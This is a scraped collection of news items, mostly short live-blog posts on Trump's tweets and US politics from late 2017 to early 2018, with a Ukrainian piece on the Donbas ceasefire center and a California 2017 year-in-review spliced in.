tweet. Read More Facebook

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Trump continues to tweet in support of Iranian protesters By Laura King President Trump expressed renewed support Sunday for protesters in Iran, declaring that people are finally getting wise as to how their money and wealth is being stolen and squandered on terrorism. In a tweet from his Florida estate, Mar-a-Lago, the president said the nationwide economic protests that began on Thursday  and have taken on wider political overtones as they have grown in size  were a signal that Iranians will not take it any longer. Big protests in Iran. The people are finally getting wise as to how their money and wealth is being stolen and squandered on terrorism. Looks like they will not take it any longer. The USA is watching very closely for human rights violations!  Donald J. Trump (@realDonaldTrump) December 31, 2017 Trump has tweeted about the protests for three days straight as Iranians took to the streets despite a heavy police presence, tear gas and scores of arrests. The defiance gained urgency after two people were reported shot to death in the city of Dorud, about 200 miles southwest of Tehran. As the conflict escalated, Iranian authorities on Sunday slapped a temporary ban on Instagram and the messaging app Telegram, which were widely used to fan protest fervor. Iran, the Number One State of Sponsored Terror with numerous violations of Human Rights occurring on an hourly basis, has now closed down the Internet so that peaceful demonstrators cannot communicate. Not good!  Donald J. Trump (@realDonaldTrump) December 31, 2017 Irans leaders already are casting Trumps increasingly effusive expressions of support for the demonstrators as opportunistic meddling and are painting the demonstrators as foreign pawns, adopting a strategy that some analysts say could jeopardize the legitimacy of the nascent antigovernment protests. Read More Facebook

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Trump tweets condolences after Colorado deputies are shot in ambush, one fatally By Associated Press A man fired more than 100 rounds at sheriffs deputies in Colorado early Sunday, killing one and injuring four others, before being fatally shot himself in what authorities called an ambush. Two civilians were also injured. President Trump expressed sorrow, writing on Twitter: My deepest condolences to the victims of the terrible shooting in Douglas County @DCSheriff, and their families. We love our police and law enforcement - God Bless them all! #LESM  Donald J. Trump (@realDonaldTrump) December 31, 2017 Douglas County Sheriff Tony Spurlock said deputies came under fire almost
Humanitarian situation in Donbas would worsen with the withdrawal of representatives of Russia from the Joint Center for Control and Coordination (JCCC), and officials from Kyiv would not hold direct talks with militants, Deputy Minister of Temporarily Occupied Territories and Internally Displaced Persons Hryhoriy Tuka has said.

"It is pointless to stay in the Center without Russians for Ukraine. These steps made by Russia unilaterally would lead to a deterioration of the humanitarian situation in Donbas," he told Interfax-Ukraine on Monday.

Tuka recalled that the JCCC function also included negotiating temporary ceasefire for the repair of infrastructure facilities affected by shelling.

"After the Russians have left the JCCC, we are actually forced to come into contact with the so-called heads of the ORDLO, which we naturally will never agree to. This would lead to the worsening of the situation. I predict that in the coming days this will lead to "accidental" selling of, for example, the Donetsk filtering station. We would be forced to legalize the leaders," he said.

The deputy minister believes that Russia has been preparing for this step for a long period of time.

"Putin has repeatedly stated that Kyiv needs to come into contact with the so-called representatives of Donbas. These are political statements, but since the summer of the JCCC representatives' statements have looked like jokes: for example, someone did not give honor to someone... Step by step they looked for an excuse and did what they wanted to do," Tuka said.
Garcetti is reelected. Whats next for him?

Mayor Eric Garcetti and his wife, Amy Wakeland, greet the crowd outside L.A. City Hall before his swearing-in for his second term. (Gary Coronado / Los Angeles Times)

Los Angeles Mayor Eric Garcetti won a landslide reelection this spring, riding a wave of prosperity and civic rebirth that is marked by a growing skyline, blossoming neighborhoods  and wrenching gentrification. But where Garcetti goes next is a question. He says he simply wants to serve L.A. but has not completely knocked down presidential aspirations. In the meantime, he got locked out of the two most logical stepping stones: California governor and U.S. senator.

The state drought is over  for now

Californias five-year drought ended with a bang. The wettest year on record caused flooding, and Sierra snow kept ski resorts in business through the summer. But many of the problems that the drought highlighted remain, prompting debate about the massive delta tunnel plan, groundwater problems in the Central Valley and whether the state can live within its ecological means.

Former sheriff is convicted in a retrial

Former L.A. County Sheriff Lee Baca, center, departs the Los Angeles Federal Courthouse after his sentencing. (Al Seib / Los Angeles Times)

While overseeing the troubled L.A. County Sheriffs Department, Lee Baca remained so popular that L.A. Weekly started calling him the Teflon sheriff. That was before the feds started investigating allegations of abuse in the jail system. In March, in a retrial, the former sheriff was convicted of obstruction of justice, conspiracy and making false statements to federal investigators.

Dam disaster averted, but a massive repair job is on the agenda

The Oroville Dam is Americas tallest. And for a few hours this spring, it came close to sending a deadly wave of water down into the Sacramento Valley. The main spillway was damaged and its emergency spillway showed signs of collapsing. Although the structure withstood this particular test, it raised major questions about how Oroville was built and maintained. In the meantime, the state is rushing to complete repairs before the rains come.

Charter school backers victorious, but future is unclear

The status of schools Supt. Michelle King, left, who is on medical leave, and board member Ref Rodriguez, who faces criminal charges, has created uncertainty and turmoil in the L.A. school system. (Irfan Khan / Los Angeles Times)

In May, charter school backers won a majority of seats on the Los Angeles Unified School District board in what was the most expensive school election in U.S. history. L.A. already has more charter schools than any other city, but advocates want to dramatically increase those numbers. What happens next is unclear. Ref Rodriguez, a charter backer and LAUSD board member, is facing three felony charges on allegations of campaign money laundering. He stepped down as board president. Meanwhile, Supt. Michelle King is on an extended medical leave.

Constituents turn up the heat at town halls

Red cards indicate disapproval as Rep. Linda Sanchez discusses a GOP tax overhaul proposal in Fullerton. (Allen J. Schaben / Los Angeles Times)

Protesters don hospital gowns and surgical masks outside Rep. Darrell Issas Vista office to protest his vote on the GOP healthcare bill. (Christine Mai-Duc / Los Angeles Times)

Shortly after President Trumps inauguration, many voters turned to local town hall meetings to express their frustration  particularly with Republican members of Congress. The events often were marked by protests, rowdy crowds and a touch of political theater. Facing criticism over votes on the Obamacare repeal and tax reform, some GOP members avoided in-person town halls while others publicized their appearances. Activists rallied at so-called empty chair town halls without congressional members present, in some cases inviting Democratic representatives from neighboring districts to sit in.

But Republicans werent the only ones to face contentious town hall meetings. Sen. Dianne Feinstein fielded tough questions at events in Los Angeles and San Francisco, and several people were arrested after protesters interrupted an immigration-focused town hall held by Rep. Lou Correa (D-Santa Ana).

California works to protect people in the U.S. illegally

Maya Casillas, 7, joins a protest at Los Angeles City Hall against President Trumps executive orders on immigration. (Gina Ferazzi / Los Angeles Times)

President Trumps harsh words and promises of a crackdown on those in the U.S. illegally have sparked fears in L.A.s large immigrant communities, and political leaders and others across California have voted to offer protection. In Sacramento, Democrats introduced bills specifically to counter the presidents agenda. The centerpiece of the legislation was a sweeping expansion of efforts to limit state and local law enforcement cooperation with federal immigration agents. Gov. Jerry Brown signed the so-called sanctuary state measure into law on Oct. 5.

Californias key climate change tool gets a big boost

California Democratic Party faces a civil war

Kimberly Ellis, left, lost the election for leader of the California Democratic Party to Eric Bauman, right. (Kirk McKoy and Genaro Molina / Los Angeles Times)

A blistering leadership fight in the California Democratic Party unearthed divisions, mirroring a similar struggle at the national level, and threatening to undercut Californias role as the nations political counterweight to President Trump. In May, delegates elected Eric Bauman, a bullish union organizer and party insider, as the new party chairman. He won a narrow victory over Kimberly Ellis, a progressive Bay Area Democrat who tapped into a wellspring of disaffected backers of 2016 presidential hopeful Sen. Bernie Sanders. Ellis accused party establishment hacks of skewing the election in Baumans favor by ballot stuffing and other underhanded tactics, but her challenge was rejected by the party in August after a months-long appeals process.

Two Mexico quakes serve as a warning for California

This animation shows how intense shaking is directed from the San Andreas fault into the Los Angeles Basin. Areas of yellow indicate strong shaking; orange is "very strong" shaking and red is "violent" or "extreme" shaking, causing collapses. (U.S. Geological Survey / Southern California Earthquake Center)

Two destructive earthquakes in Mexico offered a grim reminder of California's vulnerabilities. But unlike Mexico, California does not have an early warning system that gives residents precious seconds to prepare for the shaking. The Golden State was set to launch its own warning system next year, but the Trump administration has proposed a decrease in funding, cuts that are opposed by congressional representatives of both parties.

San Diego's hepatitis outbreak spreads to other cities

Cory Preston Adams, 38, who is homeless, receives a hepatitis A vaccination in West Hollywood, part of a free mobile clinic aimed at combating the spread of the disease fueled by poor sanitary conditions. (Al Seib / Los Angeles Times)

Americas worst hepatitis outbreak in years hit San Diego in the late summer and later spread to other California cities, spreading through the most vulnerable population  the homeless. Experts said filthy street conditions contributed to the outbreak, prompting San Diego to launch a massive public health campaign that included the addition of portable restrooms and steam cleaning sidewalks.

The L.A. County rail boom continues

(Los Angeles Times )

Los Angeles Countys rail boom shifted into overdrive  with construction on the long-promised Wilshire Boulevard subway, as well as a light rail line along Crenshaw Boulevard that will eventually connect to Los Angeles International Airport. Metros Expo Line to Santa Monica has proven to be a huge hit with riders, though the numbers for the transit system overall are still sobering. All that construction downtown? Thats for yet another new, connecting, subway system snaking its way through the city center.

Free speech on campus

Milo Yiannopoulos speaks to a crowd at Cal State Fullerton. (Christina House / Los Angeles Times)

The University of California, where the free speech movement started and students now argue over how far unrestricted expression should go, announced plans in October to launch a national center to study 1st Amendment issues and step up education about them. Many of this year's student protests took place at UC Berkeley, but in November, eight people protesting an appearance by conservative firebrand Milo Yiannopoulos were detained at Cal State Fullerton.

Big Sur access problematic as Highway 1 awaits repairs

Travelers still hoping to drive on the scenic but sidelined Highway 1 in Big Sur will have to wait. Fixing the biggest debris slide in the states history, which closed the road to all traffic for almost four months, will take at least until late summer 2018 and cost $40 million, Caltrans said.

Wildfires in Northern and Southern California

The last three months of the year were plagued by destructive wildfires that left several communities in the state reeling. In October, infernos killed more than 40 people and destroyed more than 8,000 buildings in California's wine country. Losses from insured properties alone are expected to far exceed $1 billion, and the total bill for the fires will be still higher. Fighting the fires alone cost $189 million, according to the California Department of Forestry and Fire Protection. In December, wildfires made headlines in Southern California, as homes and countless acres were lost to the Skirball, Lilac, Rye and Thomas fires. Heavy winds, dry conditions and thick brush combined to make the Thomas fire, which scorched parts of Ventura and Santa Barbara counties, the second-largest in modern California history; as of mid-December, it had destroyed more than 600 homes and cost more than $74 million to battle.

Northern California shootings

Four people were killed and nearly a dozen were wounded when a gunman went on a 45-minute shooting rampage through the Rancho Tehama Reserve. (Elijah Nouvelage / AFP/Getty Images)

For 45 minutes, a gunman stormed through the Rancho Tehama Reserve in the northern Sacramento Valley, killing at least four people. Authorities were investigating seven crime scenes, one of them an elementary school where, after hearing gun shots, teachers and staff rushed children into classrooms and under desks, and locked the doors. When the gunman arrived, officials say, he shot at walls and windows, wounding two students, but could not enter the buildings and moved on to other targets. Police would later fatally shoot him.

Gas tax goes up. Now GOP vows to fight it at the ballot box

On Nov. 1, the state gas tax increased by 12 cents per gallon to 41.7 cents, and the excise tax on diesel fuel increased by 20 cents to 36 cents per gallon. (Alan Diaz / Associated Press)

An effort to help ease housing crisis

Gov. Jerry Brown signed a package of bills aimed at tackling Californias affordable housing crisis. (Eric Risberg / Associated Press)
Wait  did the president really say, Mission Accomplished? By Marc Olson Some are recalling the last time a president declared Mission accomplished, in May 2003 when George W. Bush was talking about Iraq. (Stephen Jaffe / AFP/Getty Images) President Trump on Saturday morning thanked his allies in a tweet that declared the airstrikes on Syria perfectly executed, but he might have wished hed stopped there. Instead, he ended his message with the phrase, Mission Accomplished! Thats a line that might have a previous president shaking his head. On May 1, 2003, President George W. Bush declared an end to major combat in Iraq under a Mission Accomplished banner aboard the USS Abraham Lincoln. That war, which began in March 2003, grew into a prolonged conflict that didnt end until 2011. In 2008, the White House said it had paid a price for the backdrop. A perfectly executed strike last night. Thank you to France and the United Kingdom for their wisdom and the power of their fine Military. Could not have had a better result. Mission Accomplished!  Donald J. Trump (@realDonaldTrump) April 14, 2018 Facebook

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Auditor says Pentagon is censoring key data on the war in Afghanistan By Shashank Bengali The Pentagon is blocking the release of data showing how much of Afghanistans territory lies outside government control, censoring a key metric used to gauge progress in the 16-year war, a watchdog agency said Tuesday. The Special Inspector General for Afghanistan Reconstruction, an auditing agency established by Congress, said in its latest report that the Pentagon instructed it not to release unclassified data on how many districts and people are controlled or influenced by insurgent groups. This is the first time SIGAR has been specifically instructed not to release information marked unclassified to the American taxpayer, the head of the agency, John F. Sopko, wrote in a letter. Sopko also said the U.S.-led military coalition, for the first time since 2009, classified information about the size and attrition rates of the Afghan security forces, important indicators of progress in building up army and police forces on which the U.S. already has spent $70 billion since 2002. The decision to withhold more information from congressional oversight and the public comes amid growing violence in Afghanistan and an intensifying combat mission involving a greater number of American troops. Following a series of bombings in Kabul that left at least 136 people dead in 10 days, President Trump signaled on Monday that he was focused on trying to win the conflict militarily, saying, We dont want to talk with the Taliban. But data released by SIGAR since 2015 have shown how the insurgents have gained ground against Afghan security forces. In its previous quarterly report, the watchdog said that only 57% of Afghanistans 407 districts were under Afghan government control or influence as of August 2017, the lowest level of control since it began tracking the statistic in December 2015. The steady decline in government control should cause even more concern about its disappearance from public disclosure and discussion, Sopko wrote. The watchdog also accused the Pentagon of overstating the impact of its efforts to combat drug cultivation and trafficking, among the Talibans main sources of revenue. The Pentagon touted airstrikes that destroyed 25 drug labs in November and December, saying it eliminated nearly $100 million of Taliban revenue. The labs being destroyed are cheap and easy to replace, SIGAR said. According to some estimates, they only take three or four days to replace. Facebook

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Women journalists shunted to rear for Pences visit to Western Wall By Noga Tarnopolsky The view from the womens section. (Noga Tarnopolsky / Los Angeles Times) Vice-President Mike Pences 48-hour visit to Israel stumbled into a public storm Tuesday when female reporters covering his final stop at Jerusalems Western Wall were penned behind four rows of their male colleagues. White House officials told stunned journalists that the arrangement emanated from a request made by the Western Wall rabbi, Shmuel Rabinowitz, and followed Western Wall rules. Some women journalists said they could not recall such treatment in the past. In a statement to Israels Channel 10 news, the Western Wall Heritage Foundation said it was exactly as it was during the visit of the U.S. president to the Western Wall last May. Later in the day, in a statement to the newspaper Haaretz, the foundation blamed the United States embassy in Tel Aviv and Israeli security officials for the segregation, and announced they would reexamine the way they handle such events. Women who covered previous VIP visits said the Pence arrangements were significantly more onerous than previous visits, when male and female journalists were separated but not offered substantially different work conditions. LIVE coverage of our male colleagues granted access to cover VP at Western Wall as we are penned into #PenceFence pic.twitter.com/k3svkxfQsa  Noga Tarnopolsky (@NTarnopolsky) January 23, 2018 The arrangement reflected procedures at the Western Wall, Judaisms holiest site, where on regular days, men have access to two thirds of the area available for prayer. Tal Schneider, the diplomatic analyst for Globes, a financial newspaper, protested that the separation of men and women may be valid for the requirements of Orthodox prayer, but no one is praying here. We are here to work. I dont appreciate being restricted in my ability to work because I am a woman, she said. The discriminatory attitude towards women is infuriating and is unbefitting of a modern country. Yael Freidson, the Jerusalem affairs correspondent for Yediot Ahronot, Israels widest circulation newspaper, said she worried that her editors could choose male colleagues for the next assignment, knowing they would have better access. Before Pence arrived, journalists were herded onto a specially constructed platform in the middle of the Western Walls esplanade, with women guided to the right behind a white fence, and men, many carrying cameras, directed to the left, where they had more than double the space. Towards the end of the vice presidents 10-minute visit, male journalists were permitted into the VIP tent where he received a gift from Rabinowitz, while the women remained in their enclosure. None of the men publicly protested the treatment of their female colleagues. Israels Association of Women Journalists filed a formal complaint with Justice Minister Ayelet Shaked, herself a woman. Facebook

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Former Sheriff Joe Arpaio, after his pardon from Trump, says hell run for Senate in Arizona By Kurtis Lee (Mary Altaffer / Associated Press) (Mary Altaffer / Associated Press) Former Arizona Sheriff Joe Arpaio, who last year was pardoned by President Trump in a case stemming from his enforcement tactics aimed at immigrants, announced Tuesday he will run for the open Senate seat in his home state. I am running for the U.S. Senate from the Great State of Arizona, for one unwavering reason: to support the agenda and policies of President Donald Trump in his mission to Make America Great Again, Arpaio, 85, said on Twitter. Hell enter a Republican primary for the seat being vacated by Republican Sen. Jeff Flake. Last summer, Trump pardoned Arpaio, who was convicted in July of criminal contempt for violating a federal court order to stop racially profiling Latinos. It was Arpaios roughly quarter-century as sheriff that gave him a national reputation for his tough treatment of people suspected of being in the country illegally. Repeated court rulings against his office for civil rights violations cost local taxpayers tens of millions of dollars. In the early 1990s, Arpaio directed construction of a tent city for immigration detainees, a measure he said was intended both to alleviate overcrowding and to underscore his aggressive enforcement measures. But it was open to the burning Arizona sun, and drew widespread criticism. After Trump entered the presidential race in July 2015, Arpaio invited him to Phoenix to talk about a crackdown on illegal immigration. He endorsed Trump just before the first votes in the Iowa caucuses in 2016 and frequently spoke out on behalf of Trumps campaign. Facebook

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President Trump ends controversial voter fraud commission By Kurtis Lee President Trump signed an executive order late Wednesday ending the voter fraud commission he launched last year as the panel faces a flurry of lawsuits and criticism from Democrats and Republicans alike. Trump signed the order disbanding the commission rather than engage in endless legal battles at taxpayer expense, White House Press Secretary Sarah Huckabee Sanders said in a statement. The Presidential Advisory Commission on Election Integrity, created by executive order in May with the stated goal of restoring confidence and integrity in the electoral process, has faced a barrage of lawsuits in recent months over privacy concerns, as the commission sought personal data on voters across the country. Read More Facebook

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Congress returns to work with slimmer GOP majority to accomplish Trumps agenda By Lisa Mascaro Congress returns to work this week with unfinished business on spending, immigration and other crucial issues, but with an even narrower GOP majority that will make it tougher to move on President Trumps agenda. The House and Senate will convene Wednesday, swearing in the newly elected Democratic senator from Alabama, Doug Jones, and Minnesotas Tina Smith to replace a fellow Democrat, Sen. Al Franken, who is resigning as the latest high-profile public figure sidelined by allegations of sexual misconduct. The change gives Republicans only a one-seat margin in the Senate. Trump, fresh off passage of the GOP tax cuts bill, is pushing lawmakers to pivot quickly on his new year priorities of infrastructure investment and immigration, as well as his foreign policy agenda. But another legislative victory seems far off. Republicans have struggled to hold their majority together and Congress first must tackle critical stalled agenda items that leaders punted to 2018. Read More Facebook

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Trump threatens to cut off U.S. aid to Palestinians By Tracy Wilkinson President Trump on Tuesday angrily threatened to cut off U.S. aid to Palestinians as punishment for what he called their failure to show appreciation or respect to the United States. Writing on Twitter, the president compared the Palestinians to Pakistan, a nuclear-armed ally that abruptly drew his ire this week and a similar threat to drastically curtail aid. He accused the Palestinians of recalcitrance in what he described as their refusal to negotiate a peace deal with Israel. Palestinian officials have said they can no longer use Washington as a broker to restart peace talks with Israel following Trumps Dec. 6 decision to overturn decades of U.S. policy and recognize the disputed city of Jerusalem as the capital of Israel, and ultimately to move the U.S. Embassy there. The Palestinians also claim part of Jerusalem as the capital of an eventual independent state. Until now, the United States and most of the world agreed the citys political status was a matter to settle in final peace talks. The United Nations General Assembly overwhelmingly condemned any effort to recognize Jerusalem as Israels capital, and the Palestinian leadership said it would not meet with Vice President Mike Pence, who had planned a trip to the region. That trip is on hold. [W]e pay the Palestinians HUNDRED [sic] OF MILLIONS OF DOLLARS a year and get no appreciation or respect, Trump wrote on Twitter. [W]ith the Palestinians no longer willing to talk peace, why should we make any of these massive future payments to them? In response to Trumps tweet, Hanan Ashrawi, a senior Palestinian official, issued a statement saying: Palestinian rights are not for sale. By recognizing Occupied Jerusalem as Israels capital Donald Trump has not only violated international law, but he has also singlehandedly destroyed the very foundations of peace and condoned Israels illegal annexation of the city. We will not be blackmailed, she said. President Trump has sabotaged our search for peace, freedom and justice. Now he dares to blame the Palestinians for the consequences of his own irresponsible actions! The United States does not pay large amounts of money directly to the Palestinian Authority, the government that rules over parts of the Palestinian West Bank. Instead, most money goes to the U.N., refugee or aid agencies and even Israel to pay for roads, welfare, schools, security and other Palestinian projects. The U.S. ambassador to the U.N., Nikki Haley, said Tuesday that the administration was planning to cut off one of those organizations, the U.N. Relief and Works Agency, until the Palestinians return to the negotiating table. UNRWA, which receives around $300 million annually from the U.S., for years has been the lifeline to hundreds of thousands of Palestinian refugees living in the West Bank and the Gaza Strip. It was not clear if Haley was threatening to cut all U.S. support for the agency. Special correspondent Noga Tarnopolsky in Jerusalem contributed to this report. Facebook

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The White House stops short of calling for government overthrow in Iran By Brian Bennett President Trump wants Iran to give its citizens basic human rights and stop being a state sponsor of terror, his top spokeswoman said, but the White House stopped short of calling for a change of government in Tehran. If they want to do that through current leadership, if thats possible, OK, White House Press Secretary Sarah Huckabee Sanders told reporters. Sanders praised the organic popular uprising, which she said the widespread protests in Iran represented. The protests grew out of years of years of mismanagement, corruption, and foreign adventurism have eroded the Iranian peoples trust in their leaders, she said. Earlier Tuesday, Trump called Irans government brutal and corrupt and wrote in a tweet: The people have little food, big inflation and no human rights. The U.S. is watching! Trump also blamed President Obama for foolishly giving Iran money that he said went to fund terrorism. The money he referred to were funds belonging to Iran that had been frozen by the U.S. and were released as part of the deal in 2015, which blocked Irans development of nuclear weapons. The people of Iran are finally acting against the brutal and corrupt Iranian regime. All of the money that President Obama so foolishly gave them went into terrorism and into their pockets. The people have little food, big inflation and no human rights. The U.S. is watching!  Donald J. Trump (@realDonaldTrump) January 2, 2018 Facebook

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Retirement of Utah Sen. Orrin Hatch clears the way for a Mitt Romney revival By David Lauter The retirement of Utahs senior senator, Orrin G. Hatch, opens the way for a widely expected Senate bid by Mitt Romney, the Republicans 2012 presidential nominee and a frequent critic of President Trump. Although Romney previously served for two terms as governor of Massachusetts (and was raised in Michigan, where his father was governor and his mother ran for the Senate), he comes from a prominent Mormon family with strong ties to Utah. He also served as chief executive of the 2002 Salt Lake City Olympics. Hes viewed as a strong candidate for the Senate seat. Romneys criticisms of Trump, however, could prompt a challenge in a Republican primary. Trump was widely reported to have tried to convince Hatch to run for a seventh term, in part to head off a Romney candidacy. Last month, Romney and Trump were on opposite sides of one of the biggest political fights of the fall  the battle over the Senate seat from Alabama. The president strongly supported Roy Moore, the Republican candidate who had been accused of sexual misconduct by several women. Romney called Moore a stain on the GOP. Roy Moore in the US Senate would be a stain on the GOP and on the nation. Leigh Corfman and other victims are courageous heroes. No vote, no majority is worth losing our honor, our integrity.  Mitt Romney (@MittRomney) December 4, 2017 On Tuesday, Romney tweeted praise for Hatch, but did not immediately reveal his own plans. I join the people of Utah in thanking my friend, Senator Orrin Hatch for his more than forty years of service to our great state and nation. Read my full statement: https://t.co/YwjUpjez5y  Mitt Romney (@MittRomney) January 2, 2018 Facebook

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U.S. calls on Iran to unblock social media sites amid protests By The Associated Press The Trump administration is calling on Irans government to stop blocking Instagram and other popular social media sites as Iranians are demonstrating in the streets. Undersecretary of State Steve Goldstein says the U.S. wants Iran to open these sites. He says Instagram, Telegram and other platforms are legitimate avenues for communication. The United States is encouraging Iranians to use virtual private networks, known as VPNs. Those services create encrypted links between computers and can be used to access blocked websites. Goldstein says the U.S. is still communicating with Iranians in Persian through State Department accounts on Facebook, Twitter and other platforms. He says the U.S. wants to encourage the protesters to continue to fight for whats right. Goldstein says the U.S. has an obligation not to stand by. Read More Facebook

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Trump blasts Democrats in advance of immigration meeting By Brian Bennett The day before a meeting of administration officials and congressional leaders on outstanding legislative business, President Trump accused Democrats of doing nothing to hammer out an immigration deal to protect from deportation people brought to the country illegally as children. Democrats are doing nothing for DACA  just interested in politics, Trump wrote in a Tweet on Tuesday morning, referring to the Deferred Action for Childhood Arrivals program by its acronym. Democrats are doing nothing for DACA - just interested in politics. DACA activists and Hispanics will go hard against Dems, will start falling in love with Republicans and their President! We are about RESULTS.  Donald J. Trump (@realDonaldTrump) January 2, 2018 House Minority Leader Nancy Pelosi and Senate Minority Leader Charles E. Schumer along with the Republican leaders, House Speaker Paul D. Ryan and Senate Majority Leader Mitch McConnell, are scheduled to meet on Wednesday at the Capitol with Trumps legislative director, Marc Short, and budget director, Mick Mulvaney. The White House on Tuesday said the meeting is to discuss separate spending caps on military and domestic programs. Yet the Democrats insist the discussion also must include a variety of legislative issues that Trump and Congress punted into the new year  on immigration, the budget, healthcare and more. That stance reflects Democrats leverage: Republicans need Democratic votes to pass a government-funding bill and avert a federal shutdown when the current funding expires Jan. 19. Democrats especially want separate legislation replacing the Obama-era DACA program; Trump in September ordered a phase-out of the program, beginning March 6, and called on Congress to act before then on an alternative way to address the plight of the group. However, Trump has demanded that any alternative must be part of a package including both money for a border wall and immigration limits. Democrats are opposed. Facebook

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Pakistan hits back after Trump accuses its leaders of lies and deceit By Aoun Sahi Pakistan lashed out Monday after President Trump accused its leaders of lies and deceit and suggested the United States would withdraw financial assistance to the nuclear-armed nation it once saw as a key ally against terrorism. U.S. Ambassador David Hale was summoned to the Foreign Ministry to discuss the presidents statement, U.S. Embassy spokesman Richard Snelsire said. Pakistan lodged a strongly worded protest, according to two foreign office officials who spoke on condition of anonymity because they were not authorized to speak publicly. Pakistans prime minister, Shahid Abbasi, called a Cabinet meeting for Tuesday and a meeting of the National Security Committee on Wednesday to discuss Trumps New Years Day tweet. It was the presidents latest broadside against Pakistan after a speech in August in which he demanded its leaders crack down on the safe havens enjoyed by Taliban militants fighting U.S.-backed forces in neighboring Afghanistan. Read More Facebook

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Trump again cheers on Iran protests By Laura King President Trump expressed renewed support Sunday for protesters in Iran, declaring that people are finally getting wise as to how their money and wealth is being stolen and squandered on terrorism. In a tweet from his Florida estate, Mar-a-Lago, the president said the nationwide economic protests that began on Thursday  and have taken on wider political overtones as they have grown in size --- were a signal that Iranians will not take it any longer. Big protests in Iran. The people are finally getting wise as to how their money and wealth is being stolen and squandered on terrorism. Looks like they will not take it any longer. The USA is watching very closely for human rights violations!  Donald J. Trump (@realDonaldTrump) December 31, 2017 The presidents earlier hailing of the protests drew condemnation from Irans government. A Foreign Ministry spokesman called his comments deceitful and opportunistic. Following an overnight report of the first two fatalities stemming from the protests, Trump raised some eyebrows by expressing concern over human rights violations as authorities move to crack down on the demonstrations. During his first year in office, the president has shown scant inclination to press foreign governments to respect the fundamental rights of their citizens. The USA is watching closely for human rights violations! Trump said in his tweet Sunday. Some domestic critics have pointed to the presidents inclusion of Iranian nationals in his travel ban, suggesting he was more interested in bashing the Tehran government than in supporting freedom of speech in Iran. Even some of the presidents allies said that supporting the protesters on social media did not amount to making policy. Sen. Lindsey Graham (R-S.C.) said he had urged Trump to give a national address laying out his Iran strategy. President Trump is tweeting very sympathetically to the Iranian people, Graham said on CBS Face the Nation. But you just cant tweet here. You have to lay out a plan. Facebook

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Australian diplomats tip a factor in FBIs Russia inquiry By Associated Press Australian High Commissioner Alexander Downer. (Alastair Grant / Associated Press) An Australian diplomats tip appears to have helped persuade the FBI to investigate Russian meddling in the U.S. election and possible coordination with the Trump campaign, the New York Times reported Saturday. Trump campaign advisor George Papadopoulos told the diplomat, Alexander Downer, during a meeting in London in May 2016 that Russia had thousands of emails that would embarrass Democratic candidate Hillary Clinton, the report said. Downer, a former foreign minister, is Australias top diplomat in Britain. Australia passed the information on to the FBI after the Democratic emails were leaked, according to the Times, which cited four current and former U.S. and foreign officials with direct knowledge of the Australians role. The hacking and the revelation that a member of the Trump campaign may have had inside information about it were driving factors that led the FBI to open an investigation in July 2016, the newspaper said. White House lawyer Ty Cobb declined to comment, saying in a statement that the administration is continuing to cooperate with the investigation now led by special counsel Robert Mueller to help complete their inquiry expeditiously. Papadopoulos has pleaded guilty to lying to the FBI and is a cooperating witness. Court documents unsealed two months ago show he met in April 2016 with Joseph Mifsud, a professor in London who told him about Russias cache of emails. This was before the Democratic National Committee became aware of the scope of the intrusion into its email systems by hackers later linked to the Russian government. The Times said Papadopoulos shared this information with Downer, but it was unclear whether he also shared it with anyone in the Trump campaign. Facebook

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Trump offers fresh support for protesters in Iran as demonstrations continue By Lisa Mascaro Oppressive regimes cannot endure forever, and the day will come when the Iranian people will face a choice. The world is watching! pic.twitter.com/kvv1uAqcZ9  Donald J. Trump (@realDonaldTrump) December 30, 2017 President Trump again offered support Saturday for anti-government protesters in Iran, where a third day of demonstrations, the largest in years, spilled across the country amid fears of a crackdown. Oppressive regimes cannot endure forever, and the day will come when the Iranian people will face a choice. The world is watching! Trump wrote on Twitter. Trump took a break from playing golf near his Mar-a-Lago resort in Florida to tweet clips from his speech to the United Nations General Assembly in September when he called for Iranian democratic reforms. Iranian authorities warned of potential violence as the street demonstrations, which began over economic conditions, swelled into frustrations with the theocratic rule of Supreme Leader Ayatollah Ali Khamenei. Trump has maintained a hawkish stance toward Iran, sharply criticizing the landmark nuclear disarmament accord that Tehran reached with then-President Obama and five other nations in 2015. In October, Trump declined to certify the accord to Congress although the U.N. nuclear watchdog agency says Iran is complying with it. Several conservative GOP senators signaled their support for Trumps position and backed the protesters in Iran. Others in Congress did not immediately respond, however, amid conflicting reports over who had organized the demonstrations. Even after the billions in sanctions relief they secured through the nuclear deal, the ayatollahs still cant provide for the basic needs of their own people, said Sen. Tom Cotton (R-Ark.), a Trump ally and opponent of the nuclear deal. We should support the Iranian people who are willing to risk their lives to speak out against it, he added. Trump initially tweeted his support on Friday night. White House spokeswoman Sarah Huckabee Sanders issued a statement at that time as protests spread. There are many reports of peaceful protests by Iranian citizens fed up with the regimes corruption and its squandering of the nations wealth to fund terrorism abroad, Sanders said. The Iranian government should respect their peoples rights, including their right to express themselves. The world is watching. Facebook

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When it comes to U.S.-Russia relations, it takes two to tango, Kremlin says By Sabra Ayres The deteriorating relationship between the United States and Russia is one of the biggest disappointments of 2017, Russian President Vladimir Putins spokesman told reporters today. Russia would like to rebuild relations between the two adversaries, but it takes two to tango, Dmitry Peskov said today during a conference call with the press. We want and are looking for good mutually beneficial relations based on mutual respect, mutual trust with all countries, primarily with European ones, including the United States, but it is necessary to dance tango, as they say. Peskov blamed the ongoing anti-Russian Russophobia in Washington for playing a major role in blocking the two countries from moving forward in their relationship. U.S. investigations into the Trump presidential campaigns alleged collusion with the Kremlin during the 2016 U.S. election and accusations that the Kremlin tried to interfere with the electoral process continue to cast a dark shadow over the relationship, he said. Peskov told reporters that Moscow was perplexed by the investigations. The Kremlin has continued to deny having any involvement with the Trump campaign or doing anything to interfere with the American election. This is definitely a U.S. domestic affair, but in this case it naturally hurts our bilateral relations, which is regrettable, Peskov said. Relations between the U.S. and Russia have been categorized as the worst theyve been since the end of the Cold War. This year, Washington and Moscow have engaged in a diplomatic tit-for-tat in which both sides have been forced to reduce diplomatic staff, embassy properties have been repossessed by the hosting countries and visa services have been interrupted. The U.S. diplomatic mission to Russia shrank from 1,200 personnel, including some Russian local staff, to just over 450 across all its three consulates and embassy in Moscow. In the U.S., Russia was forced to vacate its San Francisco consulate. Moscow has also blamed anti-Russian sentiments on the recent decision by the International Olympic Committee to ban Russian teams from wearing their tricolor uniforms or flags during the upcoming games in South Korea. The international body accused some of the Russian national teams of doping. Facebook

